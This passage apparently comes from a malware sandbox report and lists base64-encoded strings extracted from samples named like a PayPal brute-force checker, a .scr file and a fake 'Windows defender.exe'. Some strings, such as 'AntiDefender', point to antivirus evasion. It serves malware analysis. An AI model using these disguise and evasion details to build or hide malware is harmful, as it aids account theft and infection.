File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"YWxsb3djb25uZWN0aW9u","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWxsb3dEQk51bGw=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWxsb3dlZFJlc2VydmVkQ2hhcmFjdGVycw==","type":"Unicode","source":"Runtime Data","process":"PayPal.scr","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"QWxsb3dGaWxlQ0xTSURKdW5jdGlvbnM=","type":"Unicode","source":"Runtime Data","process":"PayPalBrute_Checker.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"YWxsb3dpZGVudA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWxsb3dNdWx0aXBsZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWxsb3dOZXR3b3JrUGF0aA==","type":"Unicode","source":"Runtime Data","process":"90cc6e447d345bb1f103751ab038bbce19190db6.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"QWxsb3dPbmx5RE5TUXVlcnlGb3JXUEFE","type":"Unicode","source":"Runtime Data","process":"fontreview.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"QWxsb3dVbnF1YWxpZmllZFF1ZXJ5","type":"Unicode","source":"Runtime Data","process":"fontreview.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"QWxwaGFTa2lucyBFZGl0b3I=","type":"Unicode","source":"Dropped File","process":null,"filename":"PayPal.exe.597571784","compromised":null,"detection_total":null,"total":null},{"value":"$62","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"YWxzZTwvSXNGaXhlZFByZWNpc2lvblNjYWxlPiAgICA8SXNMb25nPmZhbHNlPC9Jc0xvbmc+ICAgIDxJc051bGxhYmxlPnRydWU8L0lzTnVsbGFibGU+ICAgIDxJc1NlYXJjaGFibGU+ZmFsc2U8L0lzU2VhcmNoYWJsZT4gICAgPElzU2VhcmNoYWJsZVdpdGhMaWtlPmZhbHNlPC9Jc1NlYXJjaGFibGVXaXRoTGlrZT4gICAgPExpdGVyYWxQcmVmaXg+WCc8L0xpdGVyYWxQcmVmaXg+ICAgIDxMaXRlcmFsU3VmZml4Pic8L0xpdGVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWx0RGlyZWN0b3J5U2VwYXJhdG9yQ2hhcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWx0ZXJDZXJ0aWZpY2F0ZVN0YXRlbWVudEtpbmQ=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWx0ZXJFdmVudFNlc3Npb25TdGF0ZW1lbnRUeXBl","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWx0ZXJuYXRlQ29kZVBhZ2U=","type":"Unicode","source":"Runtime Data","process":"PayPalBrute_Checker.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"QWx3YXlzIFVzZSBUYWI=","type":"Unicode","source":"Runtime Data","process":"PayPal.scr","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"QWx3YXlzU2hvd0V4dA==","type":"Unicode","source":"Runtime Data","process":"PayPalBrute_Checker.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"QW1iaWVudFByb3BlcnR5","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"YW1EYXRhJVxNaWNyb3NvZnRcV2luZG93c1xTdGFydCBNZW51XFByb2dyYW1zXEFjY2Vzc29yaWVzXFdpbmRvd3MgUG93ZXJTaGVsbFxXaW5kb3dzIFBvd2VyU2hlbGwgKHg4NikubG5r","type":"Unicode","source":"Memory/File Scan","process":"powershell.exe","filename":"00099826-00003808.00000000.100336.21D11000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"YW4gYXJndW1lbnQgaXMgbm90IGFsbG93ZWQgZm9yICgqQUNDRVBUKSwgKCpGQUlMKSwgb3IgKCpDT01NSVQp","type":"Ansi","source":"Memory/File Scan","process":"PayPal brute.checker.exe","filename":"00099410-00003540.00000001.99801.3F8CA000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"YW5kIF9fY2RlY2wgY2FsbGluZyBjb252ZW50aW9ucy4gIFRoZSBfX3N0ZGNhbGwgKFdJTkFQSSkgY29udmVudGlvbiBpcyB1c2VkIGJ5IGRlZmF1bHQgYnV0IF9fY2RlY2wgY2FuIGJlIHVzZWQgaW5zdGVhZC4gIFNlZSB0aGUgRA==","type":"Unicode","source":"Runtime Data","process":"PayPalBrute_Checker.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"YW5ub3RhdGlvbkNsaWVudA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"YW5ub3RhdGlvbkNvbmZpZw==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"YW5ub3RhdGlvbkRlZmluaXRpb24=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QW5ub3RhdGlvbkVycm9ySW1wb3J0ZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QW5ub3RhdGlvbkZpbHRlckNvbXA=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"YW5ub3RhdGlvbkl0ZXJhdG9y","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QW5ub3RhdGlvbkl0ZXJhdG9yV29ya2Vy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"YW5ub3RhdGlvbk1hcA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QW5ub3RhdGlvbk1hcEZpbHRlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"YW5ub3RhdGlvbk1hcHBpbmc=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QW5ub3RhdGlvbk1hcHBpbmdTdGF0dXM=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QW5ub3RhdGlvblBhZ2U=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"YW5ub3RhdGlvblBvbGljeQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QW5ub3RhdGlvblBvbGljeVJlY29yZA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QW5ub3RhdGlvblByb3BlcnR5","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QW5ub3RhdGlvblJlcG9uc2U=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QW5ub3RhdGlvblNlcnZpY2U=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QW5ub3RhdGlvblNlcnZpY2VMaWNlbnNl","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"YW5ub3RhdGlvblNwZWNpZmljYXRpb24=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"YW5ub3RhdGlvblRlc3Q=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"YW5wLGM0PSVEYw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"7318d96a0284f4d13ad8439d642222a6523f439c3120a75af4319fed79297d0b.bin","compromised":null,"detection_total":null,"total":null},{"value":"QW50ZXhBZHBjbWU=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QW50aURlZmVuZGVy","type":"Ansi","source":"Memory/File Scan","process":"Windows defender.exe","filename":"00100753-00001696.00000000.100904.00842000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"QW50aURlZmVuZGVyLmV4ZQ==","type":"Ansi","source":"Memory/File Scan","process":"Windows defender.exe","filename":"00100753-00001696.00000000.100904.00842000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"QW50aURlZmVuZGVyLlByb3BlcnRpZXM=","type":"Ansi","source":"Memory/File Scan","process":"Windows defender.exe","filename":"00100753-00001696.00000000.100904.00842000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"QW50aURlZmVuZGVyLlByb3BlcnRpZXMuUmVzb3VyY2VzLnJlc291cmNlcw==","type":"Ansi","source":"Memory/File Scan","process":"Windows defender.exe","filename":"00100753-00001696.00000000.100904.00842000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"QU5ZQ1JMRik=","type":"Ansi","source":"Memory/File Scan","process":"PayPal brute.checker.exe","filename":"00099410-00003540.00000001.99801.3F8CA000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"QXBhcnRtZW50U3RhdGU=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"YXBpLW1zLXdpbi1hcHBtb2RlbC1ydW50aW1lLWwxLTEtMQ==","type":"Unicode","source":"Memory/File Scan","process":"PayPal.scr","filename":"00099374-00003980.00000000.99641.001B0000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"QXBwIENvbnRleHQ=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXBwRG9tYWlu","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXBwZW5kIENvbXBsZXRpb24=","type":"Unicode","source":"Runtime Data","process":"PayPal.scr","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"QXBwZW5kRm9ybWF0","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"YXBwZW5kaW5mbw==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"YXBwZW5kaXRlbQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXBwZW5kTGluZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXBwZW5kTWVudUE=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"7318d96a0284f4d13ad8439d642222a6523f439c3120a75af4319fed79297d0b.bin","compromised":null,"detection_total":null,"total":null},{"value":"YXBwZW5kcHJlZA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"YXBwZW5kc3BlYw==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXBwZW5kVGV4dA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXBwZW5kVG9NdWx0aUxhYmVsTmFtZQ==","type":"Unicode","source":"Runtime Data","process":"fontreview.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"YXBwaGVscC5kbGw=","type":"Unicode","source":"Hybrid Analysis","process":"PayPal.scr","filename":"00099374-00003980.00000000.99641.00181000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"QXBwbGljYXRpb24=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXBwbGljYXRpb25FeGNlcHRpb24=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXBwbGljYXRpb25TZXR0aW5nc0Jhc2U=","type":"Ansi","source":"Memory/File Scan","process":"Windows defender.exe","filename":"00100753-00001696.00000000.100904.00842000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"QXBwbGljYXRpb25WZXJzaW9uTWF0Y2g=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXBwbGllZERQSQ==","type":"Unicode","source":"Runtime Data","process":"PayPal.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"YXBwbHljb25uZWN0aW9u","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"YXBwbHljb250Mw==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"YXBwbHlwYXJhbQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXBwbHlQYXJhbWV0ZXJJbmZv","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"YXBwbHlzZXR1cA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"YXBwbHl2YXIx","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"YVIzbmJmOGRRcDJmZUxtazMxLmxTZmdBcGF0a2R4c1ZjR2Nya3RvRmQucmVzb3VyY2Vz","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"YXJndW1lbnQgaXMgbm90IGEgY29tcGlsZWQgcmVndWxhciBleHByZXNzaW9u","type":"Ansi","source":"Memory/File Scan","process":"PayPal brute.checker.exe","filename":"00099410-00003540.00000001.99801.3F8CA000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"YXJndW1lbnQgbm90IGNvbXBpbGVkIGluIDE2IGJpdCBtb2Rl","type":"Ansi","source":"Memory/File Scan","process":"PayPal brute.checker.exe","filename":"00099410-00003540.00000001.99801.3F8CA000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"YXJndW1lbnRDb3VudA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXJndW1lbnRFeGNlcHRpb24=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXJndW1lbnROdWxsRXhjZXB0aW9u","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXJndW1lbnRPdXRPZlJhbmdlRXhjZXB0aW9u","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"YXJndW1lbnRz","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXJyYXlJbmRleA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXJyYXlMaXN0","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXJyYXlTdGFydA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"YXJzZnhtYXBwaW5nZmlsZS50bXA=","type":"Unicode","source":"Memory/File Scan","process":"PayPal.scr","filename":"00099374-00003980.00000000.99641.001B0000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"QVJUTUVOVUNPTU1PTkRJUg==","type":"Unicode","source":"Memory/File Scan","process":"PayPal brute.checker.exe","filename":"00099410-00003540.00000001.99801.3F8CA000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"QVNDSUlFbmNvZGluZw==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"YXNpb091dHB1dEJ1ZmZlcnM=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"YXNpb1RpbWVQYXJhbQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QVNLTkVYVFZPTA==","type":"Unicode","source":"Hybrid Analysis","process":"PayPal.scr","filename":"00099374-00003980.00000000.99641.00181000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZW1ibHkgVmVyc2lvbg==","type":"Unicode","source":"Memory/File Scan","process":"Windows defender.exe","filename":"00100753-00001696.00000000.100904.00844000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZW1ibHlDb21wYW55QXR0cmlidXRl","type":"Ansi","source":"Memory/File Scan","process":"Windows defender.exe","filename":"00100753-00001696.00000000.100904.00842000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZW1ibHlDb25maWd1cmF0aW9uQXR0cmlidXRl","type":"Ansi","source":"Memory/File Scan","process":"Windows defender.exe","filename":"00100753-00001696.00000000.100904.00842000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZW1ibHlDb3B5cmlnaHRBdHRyaWJ1dGU=","type":"Ansi","source":"Memory/File Scan","process":"Windows defender.exe","filename":"00100753-00001696.00000000.100904.00842000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZW1ibHlEZXNjcmlwdGlvbkF0dHJpYnV0ZQ==","type":"Ansi","source":"Memory/File Scan","process":"Windows defender.exe","filename":"00100753-00001696.00000000.100904.00842000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZW1ibHlGaWxlVmVyc2lvbkF0dHJpYnV0ZQ==","type":"Ansi","source":"Memory/File Scan","process":"Windows defender.exe","filename":"00100753-00001696.00000000.100904.00842000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZW1ibHlMb2FkTG9jYXRpb24=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZW1ibHlOYW1l","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZW1ibHlQcm9kdWN0QXR0cmlidXRl","type":"Ansi","source":"Memory/File Scan","process":"Windows defender.exe","filename":"00100753-00001696.00000000.100904.00842000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZW1ibHlSZWZlcmVuY2VUeXBl","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZW1ibHlUaXRsZUF0dHJpYnV0ZQ==","type":"Ansi","source":"Memory/File Scan","process":"Windows defender.exe","filename":"00100753-00001696.00000000.100904.00842000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZW1ibHlUcmFkZW1hcmtBdHRyaWJ1dGU=","type":"Ansi","source":"Memory/File Scan","process":"Windows defender.exe","filename":"00100753-00001696.00000000.100904.00842000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXJ0IEZhaWxlZCE=","type":"Unicode","source":"Dropped File","process":null,"filename":"PayPal brute_checker.exe.2422335050","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXJ0RmlsdGVycw==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"YXNzZXJ0aW9uIGV4cGVjdGVkIGFmdGVyICg/KA==","type":"Ansi","source":"Memory/File Scan","process":"PayPal brute.checker.exe","filename":"00099410-00003540.00000001.99801.3F8CA000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"YXNzZXQyX2xvdw==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"YXNzZXQzc3RhcnQ=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"YXNzZXRfY291bnRlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"YXNzZXRfSGlnaA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"YXNzZXRfTG93","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"YXNzZXRfbG93","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"YXNzZXRfb2Zmc2V0","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"YXNzZXRfc2l6ZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"YXNzZXRfc3RhcnQ=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRBZHZpc29y","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRBbGdv","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRBbm5vdGF0aW9u","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRBdHRy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRBdHRyaWJ1dGU=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRBdXRoZW50aWNhdGlvbg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRCYXNl","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRCcmlkZ2U=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRDbGFzcw==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRDbGllbnQ=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"YXNzZXRjbG9zZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRDb2Rl","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRDb2xsZWN0aW9u","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRDb21wYXJhdG9y","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRDb25maWc=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRDb25uZWN0aW9u","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRDb25zdW1lcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRDb250YWluZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRDb250ZXh0","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRDdXN0b21lcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXREZWZpbml0aW9u","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXREaXNwYXRjaGVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRFcnJvcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRFdmVudA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRFeGNlcHRpb24=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRFeHByZXNzaW9u","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRGYWN0b3J5","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRGYWlsdXJlQWRhcHRlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRGYWlsdXJlQW5ub3RhdGlvbg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRGYWlsdXJlQXR0cg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRGYWlsdXJlQXR0cmlidXRl","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRGYWlsdXJlQXV0aGVudGljYXRpb24=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRGYWlsdXJlQnJvYWRjYXN0ZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRGYWlsdXJlQ2FsbGJhY2s=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRGYWlsdXJlQ2FuZGlkYXRl","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRGYWlsdXJlQ2xpZW50","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRGYWlsdXJlQ29sbGVjdGlvbg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRGYWlsdXJlQ29tcGFyYXRvcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRGYWlsdXJlQ29tcG9zZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRGYWlsdXJlQ29uZmlndXJhdGlvbg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRGYWlsdXJlQ29ubmVjdGlvbg==","type":"Ansi","source":"Dropped 